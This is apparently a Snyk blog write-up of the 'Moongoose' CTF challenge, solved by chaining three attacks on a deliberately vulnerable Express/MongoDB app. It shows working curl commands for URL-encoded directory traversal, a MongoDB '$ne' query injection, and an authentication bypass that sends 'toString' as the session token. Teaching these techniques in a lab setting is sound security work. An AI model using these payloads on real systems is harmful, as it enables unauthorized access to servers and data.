Fetch the Flag CTF 2022 writeup: Moongoose
2022年11月10日
0 分で読めますThanks for playing Fetch with us! Congrats to the thousands of players who joined us for Fetch the Flag CTF. And a huge thanks to the Snykers that built, tested, and wrote up the challenges!
As a Snyk employee, I had the opportunity to join my teammates in a "beta test" of Snyk’s 2022 Fetch the Flag competition. We had a lot of fun solving these challenges together and I, personally, learned a lot from the experience. This is a writeup about a challenge that I particularly enjoyed: Moongoose.
Challenge
If you believed they put a goose on the moon
This challenge starts at a cryptic, moon-and-goose-themed login page. In order to get to the flag, we'll need to exploit multiple vulnerabilities: directory traversal, NoSQL injection, and some tricky Javascript behavior. Just like any other CTF challenge, our first step is to find an entrypoint.
Walkthrough
Finding an entrypoint
The first thing you may have noticed was that the name of this challenge, "Moongoose", is only one letter away from "Mongoose" — which is the name of a popular node.js MongoDB framework. Could that be a hint towards a solution? Let's see if we can confirm that suspicion.
First, let's navigate to the challenge and gather some initial impressions. We see:
A login form
A signup form
Two whimsically-spinning images of a moon and a goose
A cool star field background
Anything that takes user input is a reasonable place to start analyzing, so we'll focus on the login and signup forms first.
![wordpress-sync/blog-moongoose-start](/_next/image/?url=https%3A%2F%2Fres.cloudinary.com%2Fsnyk%2Fimage%2Fupload%2Fv1671633586%2Fwordpress-sync%2Fblog-moongoose-start.jpg&w=2560&q=75)
Trying out a few different combinations of usernames and passwords in each form yields us two different error messages:
When both username and password are filled out, we get:
{ "☾ 𓅬": "invalid moongoose!" }
When one or both of those fields are missing, we get:
{"☾ 𓅬":"invalid moongoose: geese have credentials"}
Strangely, we see the same behavior for both the login and signup forms. Let's open up the network panel in our browser's developer tools to see if we can get a better idea of what's going on.
![wordpress-sync/blog-moongoose-network](/_next/image/?url=https%3A%2F%2Fres.cloudinary.com%2Fsnyk%2Fimage%2Fupload%2Fv1671633586%2Fwordpress-sync%2Fblog-moongoose-network.jpg&w=1240&q=75)
I'm using Firefox in these screenshots, but the same principles apply to every major browser.
By observing the network traffic, we can see that both forms make the same POST
request to the api/auth
endpoint. So, it doesn't matter which one we use. One of the response headers from these requests stands out:
1X-Powered-By: Express
For those who are not familiar with that name, Express is a very commonly-used Node.js web server framework. In our role as attackers, this is a potentially valuable piece of information. We now know (or at least strongly suspect) the language, the runtime, and the framework of this server. While this doesn't confirm that the server uses Mongoose and MongoDB, it is a datapoint in favor of that intuition.
If we follow that hypothesis and we assume that MongoDB is used in the login flow, then perhaps we could try a MongoDB injection with the api/auth
endpoint. This is a query injection that I got from the incredibly helpful book.hacktricks.xyz:
1{"username": {"$ne": null}, "password": {"$ne": null} }
In MongoDB's query syntax, $ne
is an operator that matches when a field does not equal the given value. In SQL, this would look like:
1WHERE username IS NOT NULL AND password IS NOT NULL
If we assume that this endpoint queries MongoDB for a user where username = X
and password = Y
, this injection would equate to saying: "give me the user where username is not null and password is not null." In theory, this query would match any valid user. Let's open up our terminal and try this out with cURL:
1$ curl http://moongoose.c.ctf-snyk.io/api/auth \
2 -H 'Content-Type: application/json' \
3 --data '{"username": {"$ne": null}, "password": {"$ne": null}}'
4{"☾ 𓅬":"No objects here"}
Looks like it won't be that easy! Let's switch back to the browser and, with our network tab still open, look for other API endpoints that we can try to exploit. In this screenshot, I've reloaded the page and then filtered the network traffic to requests that contain api
in the path.
![wordpress-sync/blog-moongoose-traffic](/_next/image/?url=https%3A%2F%2Fres.cloudinary.com%2Fsnyk%2Fimage%2Fupload%2Fv1671633586%2Fwordpress-sync%2Fblog-moongoose-traffic.jpg&w=2560&q=75)
We see that the goose image is loaded from a call to /api/image/goose.png
. Just like the /api/auth
endpoint, this response also contains the X-Powered-By: Express
header. We can likely assume that this same server is being used to serve static files. Let's see what happens if we try to request a different file, like package.json:
1$ curl 'http://moongoose.c.ctf-snyk.io/api/image/package.json'
2{"oops":{"errno":-2,"syscall":"open","code":"ENOENT","path":"/app/res/package.json"}}
That response is a big, red flag. It looks like:
The server is attempting to open the file we specified from disk
The application code probably lives in
/app
We don't know yet whether this server uses a library or some custom code to serve static files. But, we can try a common static file server vulnerability: directory traversal. The summary of this exploit is that we're going to use ../
to request a file from the parent directory of where the images are stored. Notice that we have to URL-encode the slash (%2f
), because otherwise our request would be interpreted as /api/package.json
:
1$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fpackage.json'
2{
3 "name": "moongoose",
4 "version": "1.0.0",
5 "description": "MoonGoose Server",
6 "main": "server.js",
7 "scripts": {
8 "test": "echo \"Error: no test specified\" && exit 1",
9 "init": "node init.js",
10 "start": "nodemon server.js"
11 },
12 "keywords": [
13 "moon",
14 "goose"
15 ],
16 "author": "mummagoose",
17 "license": "ISC",
18 "dependencies": {
19 "bcryptjs": "^2.4.3",
20 "body-parser": "^1.20.0",
21 "concurrently": "^7.1.0",
22 "express": "^4.18.1",
23 "jsonwebtoken": "^8.5.1",
24 "mongoose": "^6.3.3"
25 }
26}
We've finally confirmed our original suspicion that this server uses the mongoose MongoDB library. We can also see that the main server code lives in server.js
. Let's try fetching that next:
1$ curl 'http://moongoose.c.ctf-snyk.io/api/image/..%2fserver.js'
Success! Let's dissect this server to figure out how to advance to the flag.
Authentication system analysis
These are the sections of server.js
that make up the authentication system:
1// ...
2
3const ADMIN_HASH = '$2b$12$.zYQ7xW4JFZoj3GvhXS9gOAJs8CUUIbub80UHqfjO20h2sdJpjwDW';
4let SESSIONS = {};
5
6// ...
7
8app.post('/api/auth', async (req, res) => {
9 const { username, password } = req.body;
10
11 if ((!username) || (!password)) {
12 res.status(418).json({ '☾ 𓅬': 'invalid moongoose: geese have credentials' });
13 return;
14 }
15
16 if (typeof username !== 'string' || typeof password !== 'string') {
17 res.status(401).json({ '☾ 𓅬': 'No objects here' });
18 return;
19 }
20
21 if (!bcrypt.compareSync(password, ADMIN_HASH)) {
22 res.status(401).json({ '☾ 𓅬': 'invalid moongoose!' });
23 return;
24 }
25
26 const sessionToken = generateSessionToken();
27 SESSIONS[sessionToken] = { username: username };
28 res.setHeader('Authorization', sessionToken);
29 res.json({ '☾ 𓅬': 'welcome moongoose' })
30});
31
32const checkToken = (sessions, token) => {
33 if (!sessions[token]) {
34 return false;
35 }
36 return true;
37}
38
39const requireAuthentication = () => {
40 return (req, res, next) => {
41 if (!checkToken(SESSIONS, req.header('Authorization'))) {
42 res.status(418).json({ '☾ 𓅬': 'bad moongoose' })
43 } else {
44 next()
45 }
46 }
47}
48
49// ...
50
51const generateSessionToken = () => {
52 return Buffer.from(bcrypt.hashSync(bcrypt.genSaltSync(), 10)).toString('base64');
53};
There's a lot to unpack here, so I'll summarize my key takeaways:
MongoDB is not used in the authentication system.
This code disregards the
username
and only compares a hash of thepassword
against a hard codedADMIN_HASH
variable.This password is hashed using bcrypt, which is very computationally-intensive to brute force.
Once you've successfully authenticated, the server generates a random token and adds it to the global
SESSIONS
object. The token is returned to the client as anAuthorization
header. That header can then be sent by the client to endpoints that use therequireAuthentication
middleware.
Flag endpoint analysis
1// ...
2const mongoose = require('mongoose');
3// ...
4
5const Flag = require('./models/user.model');
6
7// Mongo Setup
8mongoose.connect('mongodb://localhost:27017/ctf',
9 {
10 useNewUrlParser: true,
11 useUnifiedTopology: true
12 }
13);
14
15// ...
16
17app.post('/api/flags', requireAuthentication(), async (req, res) => {
18 const { flag } = req.body;
19 console.log(flag);
20 if (!flag) {
21 res.status(418).json({ '☾ 𓅬': 'expected `flag` moongoose' })
22 return;
23 }
24
25 const found = await Flag.find({ name: flag });
26 if (!found.length) {
27 res.json({error: `${flag} not found`});
28 return;
29 }
30 res.status(418).send({found});
31})
In order to fetch the flag, we'll need to:
pass the authentication check
provide the right value for
flag
in the request body
By requesting the models/user.model.js
file with our directory traversal exploit, we can see that Flag
is a Mongoose model and that this Flag.find()
call will query MongoDB for entries where name = <flag>
.
The /api/flags
handler does not do any sanitization or validation on the request body. So, it looks like we can retry our MongoDB injection from earlier in place of the flag name. But first, we'll need to get past the requireAuthentication()
middleware.
Putting it all together
As we pointed out earlier, it's unlikely that we'll be able to brute force the ADMIN_HASH
in any reasonable amount of time. Can we trick the server into thinking we're already authenticated?
Let's look at the function that validates the session token:
1const checkToken = (sessions, token) => {
2 if (!sessions[token]) {
3 return false;
4 }
5 return true;
6}
The weakness in this check is that it assumes that the SESSIONS
object only contains session tokens. But, JavaScript's prototypal inheritance means that the SESSIONS
object is initialized with some hidden, non-enumerated properties. We can get a list of those properties by running this statement in either a Node.js REPL or in the Console tab of our browser's developer tools:
1> Object.getOwnPropertyNames(Object.prototype)
2[
3 'constructor',
4 '__defineGetter__',
5 '__defineSetter__',
6 'hasOwnProperty',
7 '__lookupGetter__',
8 '__lookupSetter__',
9 'isPrototypeOf',
10 'propertyIsEnumerable',
11 'toString',
12 'valueOf',
13 '__proto__',
14 'toLocaleString'
15]
If we're right, we should be able to use any of these properties as our session token and pass the checkToken()
function. After combining this with our MongoDB injection, our final request looks like this:
1$ curl http://moongoose.c.ctf-snyk.io/api/flags \
2 -H 'Content-Type: application/json' \
3 -H 'Authorization: toString' \
4 --data '{"flag": {"$ne": null}}'
The response to this request contains the entire contents of the flag
collection — including the actual flag!
Moongoose caught!
This challenge demonstrated a variety of vulnerabilities. We used directory traversal to obtain the server code. We took advantage of JavasScript's prototypal inheritance to bypass the authentication system. And finally, we used a MongoDB query injection to remove any guesswork from the /api/flags
endpoint. This application was written to be vulnerable, but these types of vulnerabilities also happen in the real world. If you'd like to learn more about different types of vulnerabilities, how they're exploited, and how to protect against them, Snyk Learn is an excellent, hands-on resource.
Want to learn how we found all the other flags? Check out our Fetch the Flag solutions page to see how we did it.